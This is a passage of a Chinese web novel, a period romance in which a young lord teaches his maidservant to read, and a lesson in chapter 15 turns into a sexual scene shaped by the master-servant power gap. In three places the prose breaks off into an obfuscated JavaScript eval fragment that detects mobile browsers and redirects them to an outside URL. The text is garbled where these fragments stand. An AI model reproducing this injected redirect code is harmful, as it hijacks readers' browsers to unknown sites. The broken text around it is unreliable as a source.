“为什么?”云若看着自己的这个手势,没觉得有什么特别的。 陆执凑近她耳边低语,温热的气息混着世子身上淡淡的清香打在云若脸侧。 陆执垂眸,她的脸以肉眼可见的速度慢慢泛红。 “奴婢,奴婢知道了。” 她赶紧转移注意力:“那世子这字是要用来做什么?” 陆执同她卖关子:“一会儿你就知道了。” 14. 教学 陆执在纸上写了四排字,每排五个,都是写简单易读的字。他举起纸张,把有字的那面翻转对向她。 陆执用左手手指点了点最角落的那个字,问她还记不记得这个字怎么念。 在云若记忆里,陆执只教她认过三个字,她细细回忆一笔一划比对,有些犹豫不定,却看世子目光温柔坚定,像是在鼓励她大胆说出。 “是‘斋’字”。 陆执笑着点了点头:“记性不错。” 到这里,云若都还没明白世子在做什么。 直到陆执问她:“教你认字,学不学?” “学!学!” 她生怕自己听错了,又或者是世子说错了,连应了两声来确认。 云若整个人因为陆执的这句话差点心悸,她一手捂着胸口,防止它因为高兴而蹦出来,她又郑重而认真地回答陆执:“世子,我想学认字,求您教我。” 不知道怎么世子突然就想教她认字,但是云若知道,世子虽然有时候会喜欢逗自己,但她知道世子是不会拿这种事来戏耍她的,所以他说要教,就是真的会教。 “先说好,我不喜欢半途而废的人。你若是开始学了,就一定要给我学好,你或许可以靠这个打发时间,但我的时间精力可是很宝贵的,而且,我会很严厉的。” “不会的。我向您保证,我一定会认真学的,绝不会轻易放弃,不会让您白费心力!” 她的眼里闪烁着那天他看到的希冀,热切而诚挚,整个人看上去是另一种美丽,一种让人向往的美丽。 “那过来吧。”陆执往右迈了一步,把自己的位置空了出来。 世子就这么答应她了。 世子竟然真的答应她了! 云若突然有了点不真实的感觉,从桌子外面绕进去到世子身边明明就几步路,她却觉得自己走了好久,每一步落下踩到的都是软绵。 她站在陆执面前,有点不知所措,陆执单手搭上她的肩,让她坐下。 云若刚挨了点边又立马弹起:“这是世子的位置,我还是……” 陆执再次把她按坐到座椅上。 “教你写字的时候,我就是你的老师,没有主仆之分。” 云若嘴上应着知道了,但内心还是有点忐忑,毕竟这是她被卖做奴婢以来,第一次她坐着,主子站着。 “这会儿先教你如何握笔。” 陆执从他的笔架上挑了一支粗细适中的,又试了试软硬,觉着挺适合她这个初学者,给她大致介绍了一下,递给她,然后拿起自己常用的那支笔开始演示如何握笔。 云若如幼儿初学握筷一般,对着陆执的手势依葫芦画瓢,但手像刚长出来的一样,一点不听她使唤。 见她略微有点笨拙,虽然握住了,但有点怪异,陆执放下笔,伸手将人环在自己怀中,左右两只手一齐帮她调整。 “这个手势是最标准的,你感受一下,试着习惯这个手感。” 云若点头,她轻微扭动手腕,看手指落在每一处的具体位置。 “记住,想要写好字,最重要的就是,笔要稳,心要静。等你沉浸在一笔一画里,你会发现自己的心境都提升了一截。” 陆执说的每一句话,云若都默默在心里复述好几遍,然后把它们牢牢记住。 “那现在,我们开始落笔。” 陆执先是教她简单的笔画,待她熟悉之后,又让她跟描他写的那几个字。 云若一时掌握不好力度,一出错就容易顿在那里,不一会儿墨汁就会把薄纸浸烂。 陆执便一直握着她的手,带着她一笔一画描写,边带嘴里还念着每个字的读法。 他念一遍,云若牙牙学语般要念上好几遍。 陆执一直把人圈在怀里,这动作虽然亲密,但是两人之间没有一点旖旎的情绪,因为两个人一个比一个认真。 陆执教她描写了一遍后,云若掌心都因为用力握笔而出了一手汗。 陆执帮她放松紧绷的手掌,“握笔不要过于用劲,那样你的手会很容易酸痛,一酸痛,字就写不好了。” 闻言,云若尝试着慢慢松劲,渐渐的,她越描越好,已经不会有笔画过粗或过细的情况了。 等她完成陆执交代的三遍描写后,她已经可以在一旁有模有样的写出几个字来了,虽然看上去不如陆执写的那样有棱有角。 云若因为自己亲手写下的字而欣喜,她抬头想要看看陆执对她的字有什么评价,发现陆执早已不站在她身边,而是坐到了床边的椅子上,正在看他的书。 云若这才后知后觉。 世子明年是要参加科举的人,他目前也有很重的任务,但他还是抽出了时间来教她认字。 她想自己应该尽快学会,这样她就可以不再麻烦世子了。 察觉到她停笔了,陆执抬头,和她对上视线。 “练得如何了?” 云若把她写的几个字拎起来给他看:“世子你看。” 才第一天写字,她就能做到横平竖直,清晰可辨,已经很不错了。 “写得不错。”得了肯定的云若嘴角抑制不住上扬。 “今天就先练到这里,你自己再回顾一下,明天我会先提问今天教你的这几个字,没问题了才会教新的,知道了吗?” 云若答知道了,她起身收拾世子的书桌,一数发现自己竟然写废了二十来张纸,她瞬间有些心虚。 她把这些纸卷起来打算扔掉,陆执阻止了她。 “留着,每次写完就整理好放在那边的架子上,过一段时间你再拿出来看看,就能发现自己有没有进步。” 云若随着陆执指的方向看过去,不知什么时候,世子原本满满当当的书架被他整理出一块空处,明明今早的时候都还没有。 “谢谢世子。” 云若走过去把自己的稿纸叠放整齐,陆执则坐回了他的位置。 除了说谢谢,云若不知道还有什么能表达她由衷的谢意。 她只是一个下人,世子却不在乎她卑贱的身份,如此用心地教她,让她与他同坐一桌,用他的笔墨纸砚,用他的书架。 他的这份恩情,她会永远铭记,若有朝一日,她定会报答世子的。 还有一会儿才到晚膳时间,陆执抓紧时间看他落下的文章,云若依旧在一旁乖乖待命。 练了好一阵字,她指间、身上都沾上了墨香,她挺喜欢这个味道,不时低头嗅嗅。 陆执被她这动作吸引去了注意力,问她:“在闻什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150087|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 云若走过去,非常自然地把自己的衣袖伸到陆执面前。 “在世子爷书房里待了那么久,我身上都沾上墨香了,很好闻。” 闻言,陆执凑过去嗅了嗅,墨香混着少女的体香,蓦地勾人得紧。 “嗯,好闻。” 云若下意识拍马屁,“世子身上的更好闻。” 陆执拂了拂自己的衣袖:“哦?我身上也有?” “那自然?” “我身上的是什么味?” 世子沐浴后,身上也会有淡淡的清香,现在混上墨香,她有些不确定:“自然也是墨香味?” “是吗?我闻着怎么不像?你再好好闻闻?” 说罢,陆执把袖子伸到她面前,男人的陌生的清泠的气息包裹着她,挤压她的胸腔,她感觉自己呼吸快不畅了。 男人适时收回手。 “什么味道?” “世子爷的味道……” 陆执轻然一笑,好呆。 许是白天耽误了点功夫,世子虽早回了寝居,但还在看书,时候差不多了就歇息了,没有召她侍寝。 云若乐得轻松,她回了自己的小屋,点着灯,从衣袖里拿出世子写给她的字帖,铺在她的小桌上,以手为笔,描了一遍又一遍。 她心里全是因能够认字的喜悦,用气声翻来覆去地念这几个字,越念越精神,一时半会儿有些睡不着了。 一直到后半夜,她被困意席卷,这才能够合上眼。但没睡多久,就又要起来服侍世子。 她虽然表面看起来精神,但眼底淡淡的青翳还是暴露了她没睡好的事实。 下午世子检查完她昨天的成果,继续教学的时候,顺势问了一句:“昨晚没睡好?” 本来还有点打瞌睡的云若瞬间清醒,她如实说道:“昨晚太高兴了,后半夜才睡着。” 陆执猜也是如此,昨晚他半梦半醒间,还听到她屋子里有窸窸窣窣的声音,跟小老鼠似的。 陆执提醒她:“以后不许了,精神头不好,注意力容易不集中,那样学的效果就不好了。” 云若自己也有感觉,今天虽然一样很兴奋,但学起来没有昨天快,长此以往,肯定会耽误不少功夫。 云若连忙认错:“奴婢知道了,奴婢以后肯定按时休息,每天都精精神神!” 得了保证,陆执也没再揪着不放,继续教新字。 今日他特地多教了她两排字,依旧是些没有什么难度的字。 加了点量,云若还是学得比较快,一连好几天,每天陆执都给她多加十个字,云若都能够完成,很快就把简单基础的字认得差不多了。 和陆执计划的差不多,他准备着下一阶段的教学。 云若开始学一些较难一点的字了,不仅每个字笔画增多,还有些字因不同意思还有不同读法,而且也不再只有单个字,偶尔会有几个词语或是成语夹杂在里面,世子不仅要求她会写会认,还要让她试着用,云若逐渐觉得认字没有那么轻松了。 虽然如此,但是世子给她安排的任务,她还是都能完成,只是她偶尔有几个瞬间,会觉得有点累了。 不过这个念头都只是在她脑海里一闪而过,她还是可以全身心投入学习。 15. 戒尺 这日午后,陆执在书房里看书,左行推门进来。 “世子,昭平公主派人送来了帖子,三日后是公主的生辰。” 陆执没看帖子一眼,直接示意他把帖子放在一边。 “还和往常一样,从库房里挑点新鲜玩意,托徐舒柏送给公主做贺礼就行。” 左行领命退下,走到门口时被陆执叫住。 “世子还有什么吩咐?” “以后下午未时这段时间,若不是特别重要的事,不要让别人来打扰我,你们没有我的允许,也不准进来。” “小的明白。” 左行一出门,就见云若迎面而来,他赶紧伸手把人拦下。 “世子刚吩咐的,让我们以后这个时辰没有他的允许不准进去。” 他话音刚落,就听见世子的声音从里面传来。 “让她进来。” 云若一脸你在逗我的神情,左行被自家世子这番操作惊得下巴都快掉在了地上,他眼睁睁看着云若昂首走进书房,还关上了门。 为什么?不是说没有要事谁也不准打扰吗?云若能有什么要事?他怎么觉得自己要失宠了。 云若一进书房,自觉走到陆执身旁,陆执展开他早就写好的字帖。 “今日你要学的是这些,我只教一遍,你必须学会读写,试着遣词造句,明天我要抽查。” 云若看着早已不似最初那般巴掌大小的字,现在世子写的字只比他平时写的略大一些,一眼便觉得密麻,而且有好些字看上去好难写,数量也不少,云若有点讶异:“明天?” 陆执抬眸看她,眼底平静无波:“怎么,完不成吗?” 云若忽略心底细微的压抑感,想着从现在到明天还有那么多空闲时间,应该没问题:“可以完成。” 见她应得有些勉强,陆执没有多说什么,开始教她读写以及给她解释一些词语的具体意思。 陆执讲解得很细致,一个生词她若是不理解,他就会把它拆碎了,用她最容易理解的东西去描述形容,有时她反应慢一点,把相似的词语混淆,他也很有耐心,不厌其烦地为她解释一遍又一遍。 云若已经连续学了半月有余了,虽然每日世子只教学一个时辰左右,但仅靠那点时间,她并不能完成世子布置的任务,于是她每天都紧着每一个空闲的时间,世子一不需要她在跟前伺候,她就会找个地方回顾世子每天教的东西。 幸好这段时间世子也没有让她侍寝,她每晚都有一大块时间可以用来完成世子的要求,只是随着量和难度不断加大,她最近学得有些吃力了,可世子作为老师都没有说累,她这个学生自然也并不好意思说累。 世子这么安排,可能也是想尽快教会她,不能让世子失望,她一定要尽快学会,不再麻烦世子。云若就这么告诉自己,然后开始压榨自己晚上歇息的时间。 今天世子教的比昨日教的还多,云若暗暗在心里估摸自己今晚可能子时过了都不一定能歇息。云若在心底叹了口气,随后又振奋自己打起精神好好听世子的讲解。 世子还没教完,云若就已经有些头大了,今日好像又比往日难上了一个台阶。 “都记住了吗?” 云若快速将纸上的东西过了一遍,现下是记住了。她点点头。 “那你自己去旁边摹写。” 书房窗边有一小套桌凳,是供世子休息和放茶水的,只不过现在已经算得上是云若的半张书桌了,每日世子教完她,世子继续看自己的书,她就在这里认她的字。 果不其然,今天云若自己下来回顾的时候要比以往艰难,一整个下午她都不敢松懈一会儿,等到世子用完膳的时候,她停下笔,背后已经热出了一身汗。 晚上待世子睡下后,她又躲在自己的屋子里默写到很晚才睡。 翌日午后,临近世子书房,云若心里七上八下,没有底气。 又在心里默了一遍,这才敢进书房。 “来了。”见她来了,陆执放下笔,把自己的书桌收拾半张出来,“搬个凳子过来,今天你在我旁边写。” 云若搬了凳子坐在陆执身边,她自己铺开一张纸,提笔蘸墨,等世子提问。 她静候了半晌,世子还是没发问,她转头去看世子,他在看书,悠然翻着页,并没有管她的意思。 云若不解,但又不敢问世子什么时候开始,她只能安静候着,心里默默回忆昨日最难写的几个字。 午后的时光最为静谧,世子的气场总是柔和的,清冽的,坐在世子身边,云若很容易放松,就这么静静地待着,她的心也宁静了下来。 她昨晚实在睡得太晚了,眼下一放松,她有些犯困,哪怕她一直提醒自己不能睡,但她还是不知不觉打起了瞌睡。 “又没休息好?” 陆执突然开口,云若眼神瞬间清明。打瞌睡被陆执抓了个正着,她有点局促,赶紧摇摇头。 “那开始抽查。” 云若点头如捣蒜,她坐直身子,提笔准备落笔。 陆执说了一个中规中矩的词语,云若脑海里有模糊的印象,她执笔写下,写了一半,她就觉得不对,又划掉重写,但怎么写都不对。 陆执没有等她,又开始了下一个词,也不是最难的,但云若想了半天,还是没写出来。 她昨日把大部分精力放在了那些她从未见过的、看上去很复杂的字词,这些她跟一遍就觉得差不多的,她就没用太多时间回顾,没想到世子一念好几个,都是一些中等难度的,但她就是印象模糊。 一炷香下来,她只写出寥寥几个字。陆执一声叹息,云若笔都快握不住了。 陆执起身,走到一面书架旁边,从那取下一样东西后走回她面前。 “伸出手。” 云若放下笔,伸出自己的右手。 “另一只。” 她换成左手。 “啪!” 冰凉生硬的物什落在她手上,掌心瞬间生热。她这才看清,世子拿的是一把戒尺。 “痛吗?” 云若摇头。虽然掌心上有一道很明显的红痕,但不是很疼,世子并没有用很大的劲。 可是不知道为什么,她很想哭。她懊恼,怎么能在世子面前打瞌睡,怎么可以错这么多,怎么可以轻视不是最难的词。还有是对自己的怀疑,明明昨晚她默了这么多遍,但是今日居然还是写不出来。 会不会是自己太笨了,并不适合读书? 这么想着,她反而开始有点难过了。 一滴晶莹落在地上,陆执抬起来的戒尺一顿。 怎么哭了?是他打得太重了吗? 他让她抬起头来。 泪珠划过她脸上的绒毛留下一道痕迹,她紧咬着唇,不让自己发出声响,但她嫣红的眼尾晕着湿意,惹人怜爱,又让人忍不住想要蹂躏她。 想要她哭出声来,想要她变得凌乱不堪。 想要她碎掉才好。 陆执这么想着,丢掉戒尺,一把将人拉进自己怀里。 云若失落的情绪正浓,被这突然的环抱弄得有点不知所措,感觉有什么东西抵在了她的腰上,云若想寻一个舒服的地方,却被一只有力的大掌握住了腿根。 “别乱动。” 云若感觉裙间袭来一阵清凉,她一声惊呼,眼下只有惊诧,她想并上腿,却被陆执阻挡。 陆执展开一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15150088|164828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白纸,把笔放进她的手里,含住她圆润粉嫩的耳垂,嗓音低沉:“重新写。写错一个,惩罚一下。” 起初陆执念的几个词句她还能完完整整写好,但不知从第几个开始,世子的存在感越来越强,她要分很多精力压制才能减少一点点影响。 “写字一定要集中注意力,不然你看,什么时候写错了都不知道。” 云若随他手指的地方看过去,不知什么时候她写了个四不像的字。 “这个字读什么?” “啊——” “不对。” 陆执反手抬起她的下颌,用手擦去她眼角的泪,亲吻她的脸侧:“不对。‘啊’是这么写的。” 他从笔架上拿下另一只毛笔,在砚台上轻点两下,在她的字旁边落笔。 “现在知道了吗?” 云若点了一下头,还没说话,身子就因陆执的动作僵住。 “那接下来,我指一个字,你念一个字。念对了有奖励,念错了要惩罚。” 也不等她的回答,陆执修长的手指已经落在了纸上,云若颤声念着。 有几个比较难的词,云若第一下,没想出来,她思考片刻想到的瞬间,陆执不动声色使劲,她几乎要尖叫出来。 幸然陆执及时捂住了她的嘴,他浅息轻喘,在她耳边低吟:“不用念那么大声,左行还在外面,让他听到了不好。” 云若喘着粗气点头。 陆执喉结滚动,亲吻她额前的碎发,拖着尾音:“乖。” 一整个下午,经过陆执的手把手教学,云若总算把昨晚布置的任务完成得差不多了。 她的身子还在轻颤,陆执单手把人抱在怀里等她平静,另一只手收拾着桌上凌乱的纸张。 “这些字词句大多都是偏僻难理解的,只学一遍肯定不够。昨天明明只认了一遍,后面自己回去了也还在学吗?” “嗯。” “我特地多布置了一点,就是看你会怎么做,完不成可以直接说,这并没有什么,知道吗?学习一定要适可而止,虽然学无止境,但是人有局限,若是因为巨大的任务量让你过于畏惧丧失了干劲,岂不可惜?” “学之一字,最重要的是要学的这个人。我当初虽教你要尊师重道,但是没有你单方面尊重老师,老师可以不把你当人的道理。老师说的话并不是金科玉律,你无须一字不落全然遵循。 没有学生,就没有老师。以后每学十日,就给你放一天假,那一天不准干与学习有关的事。我若是规划得不合理,你完成起来困难,就要大胆地说出来,不要自己一股脑儿全应下,没日没夜的去做,这样完全是事倍功半,明白了吗?” 云若点头,原来她近日的吃力他都看在眼里。 云若额前是细密的汗,发髻因为动作有些松散,陆执伸手撩开她的碎发别在耳后。 “其实你很聪明,你现在的进度比我识字的时候快多了,这本来就不是急于求成的事。慢慢来,我们时日良多,不必急于一时。” 她眨巴着眼看向他,以为他是在宽慰她。 “没骗你。”他摸着她的耳垂,眉眼间是舒惬的慵懒。 世子温热的气息与她交缠,她骤然回过神来,她现在还坐在世子身上! 云若忙不迭从世子身上下来,回想着自己和世子居然在书房……她轻咬唇瓣,心如擂鼓,有点不知道该怎么面对世子。 陆执看出她的不自然,料她面子薄,也不再拘着她。 “好了,你今天很累了,就不学新的东西了。我会重新给你拟定计划,你以后不用再熬更守夜了。” 云若只一味点头,只求赶快离开这个旖旎浮动的房间清醒清醒。 16. 月事 打那以后,陆执给云若安排的任务都是循序渐进的,云若也在陆执的要求下学着劳逸结合,先前因连续不断读写而偶感的疲惫压抑不复存在,她现在好学的劲头比第一天还盛,每天都在期待世子还会教她些什么。 她现在的起居时间和陆执完全重合,几乎是陆执到哪儿她就在哪儿,得闲的时候也不和右安云月他们聊天逗乐了,左行还打趣她,说她这贴身丫鬟也太尽职尽责了。 云若只笑着说这是她的本职。她没有告诉他们世子在教她识字,因为世子说过,这事可大可小,万一被有心之人知道了,拿来做做文章也不是不行。 所以她现在除了服侍世子的时候跟在世子身边,其他时候不是在世子的书房,就是在自己的小屋子里待着,总之有时候她沉迷学习起来连陆执都要甘拜下风。 这日,她照旧跟着陆执去给夫人请安,陈氏关心了几句陆执的近况,就没再留他。 云若跟着陆执走出荣安堂好一会儿了,听见后头由远及近的脚步声。 “世子留步。” 陆执转身,瞧着是荣安堂的丫鬟。 “世子,夫人这些日子为您新做了几身夏衣,刚才忘记拿给您了,要不烦您派个人跟我走一趟?” 云若见那丫鬟嘴上和世子说着话,眼神却往自己这边瞟了几眼。 “既然要送,怎么你这会儿不拿来,还要让我院子里的人跑一趟?” 丫鬟有些心虚:“奴婢忘了夫人交代的差事,想着世子没走远,着急来追,就忘了把衣裳带上。” “世子,要不您先回去,我跟她去取一趟。” 陆执睨她一眼。他院子里有母亲的人他并非没有察觉,他也知道母亲的人一直在把他的一举一动告诉母亲,只不过他并没有让母亲的人近身伺候,母亲对他的情况知之甚少。 不过这云若明面上也是从凝香院出来的,怎么母亲也要不计前嫌用她吗? 陆执未置可否,转身走了。 云若瞧着世子的心情好像没有刚才那么轻松,但她现在只能先跟着眼前的人回一趟荣安堂。 才进荣安堂,就见李嬷嬷在院中候着,那丫鬟福身退下。 李嬷嬷领着她进了前厅,夫人正坐在上位饮茶。 云若行礼请安:“见过夫人。” 陈氏免了她的礼。 “听闻这些日子,都是你在世子跟前伺候?” 云若回是。果然是夫人要见她。 “那世子读书可还用功?” 这个问题倒是不难回答:“世子每日都很用功,除了休息的时间,都在书房读书。上次去丞相府,相爷也夸世子进步很大,没人监督也不会松懈,相信世子秋闱肯定没问题。” 能得庄丞相如此高的称赞,看来近来是没有懈怠。 “世子是从来不需要人操心。那这段日子,世子可有召你侍寝?你又侍寝了几回?” 没想到夫人竟问得这样细致,院里应该有夫人的人,只是对世子的事并不是事无巨细都知道,看夫人神情漠然,她也拿不准说什么才会让夫人满意。 她装作有些羞涩的模样,回了个:“一次。” 夫人盯着她良久,才重新开口:“还算懂分寸。想必你也知道,世子明年要参加秋闱,眼下是最要紧的时候,我虽允了你们留在世子身边伺候,但绝不允许你们狐媚惑主。若是你们一味只知纵情享乐,耽误了世子,那我定是饶不了你们的。” “奴婢明白。” “记住,你们永远是奴才,做奴才要有做奴才的样子,莫要世子今日多看了你两眼,就肖想着承熙院能有你的一席之地。” 云若跪地,连忙否认夫人的不实假设,表明自己的立场:“奴婢绝对没有此心,请夫人明鉴。” 见她这样,陈氏觉得倒像是个好拿捏的丫头。给了李嬷嬷一个眼神,李嬷嬷把一碗黑乎乎的药端到她面前。 “喝了吧。” 云若什么也没问,端起碗一口喝下。 陈氏对云若的听话识相很满意。 “以后每月的这个日子,都来荣安堂一趟。” 云若应下。陈氏招招手,李嬷嬷又端着几件衣裳过来。 “好了,带着衣裳回去吧。” 云若拿着衣裳,刚走出荣安堂,小腹突然又有隐隐的坠痛感,想来这凉药果然是与她的身子犯冲,才这么一会儿,她就已经有些不舒服了。 她加快脚步回了承熙院,世子在书房,她把衣裳收拾好放进柜子里,身子又没什么不适了,她去书房复命。 “衣裳拿回来了?” 云若回:“拿回来了,已经收拾进柜子里了。” “怎么拿几件夏衣去了那么久?” 云若看世子好像只是随口问问,想来世子是夫人的独子,应该是很钟爱他的。 夫人刚才那番话也是为世子着想,只不过是对着她这个丫鬟,所以说话没那么好听,她就挑了点好听的话说:“夫人问奴婢世子最近是不是太用功了,有没有累着,还让我们这些下人要好好伺候您。” 云若以为自己这话没什么问题,世子听听就过去了,没想到世子没相信:“当真?不会是做了什么坏事,心虚了来哄骗我?” 她能做什么坏事?云若想着,说不定世子又在寻她开心。 “奴婢说的句句属实,世子要是不信的话,不如去夫人面前核实一下?” 陆执眯眼看她,胆子大了,敢这么跟他说话。 不过这样也挺好的。 “我看起来很闲吗?” 意思是这么点小事他还要特地跑去证实? 云若摇摇头。 “那你很闲吗?昨天布置的功课写完了?写完了的话现在就拿给我检查检查,写得不好的话——”陆执抬眸看她,嘴角噙着似有似无的笑,“是又想被罚了吗?” 陆执特别强调罚之一字,云若瞬间收敛。 世子真是,怎么老是想着这档子事。虽然她已经写完了功课,但还是不敢放肆,万一世子一时兴起,指不定在鸡蛋里挑骨头呢! “奴婢才不闲,时候不早了,要去给您备午膳了。奴婢告退。” 不等陆执应允,云若已经先跑出去了。 陆执抬头看看日头,明明还早,连理由也不会找,但还是随她去了。 午时,云若的小腹又开始作痛,这才发现原来她是来月事了,但不知道是不是因为才喝过凉药的原因,平日里她来月事都没什么感觉,这次却疼得厉害。 云若垫好月事带,躺回屋里休息了一会儿,等到未时,是世子每日教学的时候,即使她还是没有好转一些,但她还是忍着去了书房。 世子已经教了她一个多月了,她现在已经识得不少字了,世子早些年写的一些小文章,她都能够读得顺畅,这段时间世子给她安排的功课都是诵读一些短文章,然后临帖背诵。 检查背诵的方法是默写,世子见她读写没问题,就让她在一旁默写。 云若刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温热的药好像已经流至她的小腹,她身体的疲乏也好像舒缓了不少,她想她明天见到左行要去谢谢他。 她还想着,因为身体不适,今天世子都没有给她布置新的功课,她明天得把今天的补上才行。 想着想着,她又陷入了梦乡。这次没有腹痛的伴随,她睡得很安稳。 ** 是夜,陆执还在书房看书,看到左行回来,他问到:“怎么样了?” “云月说好多了,喝了药已经睡下了。” 陆执点点头示意他知道了,没再说话,继续看他的书。 想起下午那会儿,才将说着话的突然两眼一闭往前栽去,要不是他手快把人搂住了,怕是要磕在桌子上了。 看着怀里的人小脸惨白,方才因为她快要摔倒而提起的心还没放下。 前院人多眼杂,书房后门有条路与他的寝居相连,他把人抱回了她的房间,给她脱了鞋,盖好被子,看着她疼得在梦中都还在蹙眉,眼角还有未滴落的泪珠。 陆执抬手为她拭去眼角的泪,才擦去,又有新的泪水溢了出来。 疼得如此厉害吗? 等他回过神来,发现自己正试图用手抚平她的眉。 真是徒劳的一个举动。 17. 错觉 翌日,云若一觉睡到自然醒,浑身舒畅。 昨夜喝的药真有用,不止让她睡了个好觉,醒来肚子也没那么疼了。 她出门的时候,世子不在寝居内,她这才注意到外面天已经大亮了,世子应该是去书房了。 云若洗漱过后去了厨房,想去煎碗药喝了再去干活,正巧遇到了在厨房偷懒的左行,她上前去同他道谢:“左行,昨天的事谢谢你。” 左行看是她,回想了一下她说的事,了然一笑:“你太客气了,小事一桩。” 云若浅浅一笑:“那药钱是多少,我这就给你。”说着她从腰间解下荷包,从里面掏出几两碎银递给他,“这些够不够?” 左行愣了一下,把她的银子推回去:“你真要给这药钱,那你得给世子。” 这下轮到云若怔愣了。 左行解释道:“我也不知道你生的什么病,是世子写了方子让我去城南李大夫那抓的药,李大夫一看是世子要,也没收钱,我就只是跑了趟腿。所以你要谢的话,还得去谢世子,我可不敢在这乱邀功。” 该谢的人是世子吗? 其实这个念头只在她脑海里闪过了一瞬间,她知道世子是个很好的人,从来没有不把下人当人看,平日里世子对他们的好,她都看在眼里,只是她觉得世子终究是主子,是尊贵敬重的人,是做要事的人,下人的这些小事他应该不会放在眼里,也没有精力注意这些。 所以她只让这个念头短暂存在了一瞬,当云月也说是左行送来药,她就理所应当以为是左行。 是世子送她回的房吗?她模糊间感到有人在为她拭去眼泪的人也是世子吗?还是她意识不清产生的错觉呢? 左行看她不知想什么想得如此出神,伸手在她面前晃了晃。 云若的思绪渐渐回笼,她对左行微微一笑:“还是谢谢你帮我买了药,下次请你吃好吃的。” 见她回过神,左行也没有多问,只是说期待她会请他吃什么好吃的。 等云若喝了药,差不多也快到了午膳时间,她在厨房帮忙一起备膳,备好后她又负责把午膳拿到堂前布置。她才把碗筷摆好,世子就已经从书房过来了。 云若笑着对他行礼。 陆执抬手,看她气色与平常无异,想来是好多了。 在看她为自己布菜的时候,陆执还是问了她:“身子好些了?” 还是想听她亲口说。 云若点头:“多谢世子关心,已经无碍了。” 陆执轻嗯了一声,开始用膳。 世子吃饭的时候总是优雅从容,得体矜贵。世子读过很多书,他宅心仁厚,总是能让与他相处的人感觉如沐春风。哪怕昨天倒在他面前的只是一个陌生人,他也不会视而不见的,因为世子从来就是一个很好的人。 云若心里这么想着,今早那点不解,如今她全想明白了。 ** 今年的夏天好像比往年还热一些,陆执最近的胃口只算得上中规中矩,今天他突然说想吃面食,这还是入夏以来,陆执第一次说自己想吃什么,云若自然是高兴地应下然后去转告厨头。 何厨头一听也是高兴,正打算大展身手,却发现面粉不够。 正巧云若还没走,她现下也闲着,就给自己揽了活。 整个镇国公府是有一个大厨房的膳房,管府上所有的食材采购,若是府上有家宴或贵宾那些,都是由这个膳房来备膳。 不过平常时候,由于院子多,各院的主子胃口不一,所以都配了小厨房,都在自己院子里做来吃,若是各个小厨房缺了什么,派人去膳房领就是。 承熙院同膳房隔了几个院子,是有点远,但是云若脚程快,来回一趟能省不少时间,何厨头自然乐意。世子平日里不怎么爱吃面食,所以也不用拿很多,云若去也合适。 云若拿了面粉就往回走,从膳房回承熙院,穿过后花园走是最快的,她去的时候,后花园都还是静悄悄的,这会儿回来,就听到有人声交谈,还有鱼儿摆尾击水的声音,想来应该是哪个院的主子在喂鱼消遣。 没看到人,她也就不打算去请安了,走了几步,旁边突然窜出来一个小丫鬟和她撞在了一起,小丫鬟连忙同她道歉,幸亏她里抱着的面粉没撒,她也没在意。 “云若?” 被人叫了名字,云若动作一顿。 她被人领着往后花园的水榭小亭走去。 远远就瞧见杜姨娘侧身倚坐,手里捻着一撮鱼食一点点往湖里撒去,引得一群鱼儿簇拥着摇尾乞食,在平静的湖面荡开一圈圈涟漪。 “姨娘,鱼食取回来了。” 赵嬷嬷把手里的罐子呈到杜氏面前,杜氏回头拿鱼食,抬眼看到远远站着的云若,略一惊讶,她推开鱼食罐,坐正了些许,看着她讥讽开口。 “哟,这不是承熙院的云若姑娘?自打云若姑娘出了我这凝香院后,想再见云若姑娘一面真是难如登天啊!” 这丫头,去了承熙院,就几乎没了一点动静,之前赵嬷嬷派人在承熙院附近蹲了好几天,其他两个倒是蹲到了,但就是不见这个云若,要不是那两个丫头说云若现已经可以近身伺候陆执,加上今儿个在这撞见了,她还以为陈氏母子悄摸把她拖到哪个不知名的角落埋了呢! 一个小丫头片子好大的能耐,让她费了这么多心力才能见上一面。 云若自然听出了杜姨娘话里夹枪带棒,她自然是不能表现出一点强硬,“奴婢惶恐。没有姨娘,云若绝不会有机会进镇国公府服侍,云若一直记得姨娘的大恩大德,姨娘这么说话,真是折煞奴婢了。” “哦?云若姑娘居然还记得我这个身份低微的妾室,真是让人惊喜。” 见杜姨娘还是不依不饶,云若倏地跪下磕了一个头:“姨娘切莫这般,您还是唤奴婢云若吧,奴婢卑贱之人实在担不起姨娘这声姑娘。云若的一切都是托姨娘的福,姨娘就是云若的再生父母,您就算是要奴婢上刀山下火海,奴婢也在所不辞。” “果真?” “奴婢每句话皆出自肺腑,姨娘但凡有用得上奴婢的地方,请尽管吩咐。” 杜氏和赵嬷嬷相视一笑,这种出身的女子果然是最好拿捏的,一点小恩小惠、威逼利诱就被治得服服帖帖。 “快起来吧,现在虽是夏天,但跪久了地上还是凉。” 杜姨娘这样应该是信了她的话,但她不敢松懈。 “听说,你是目前唯一一个侍过寝的?” 应该是云月或是云燕告诉她的,云若要是否认,毫无意义。 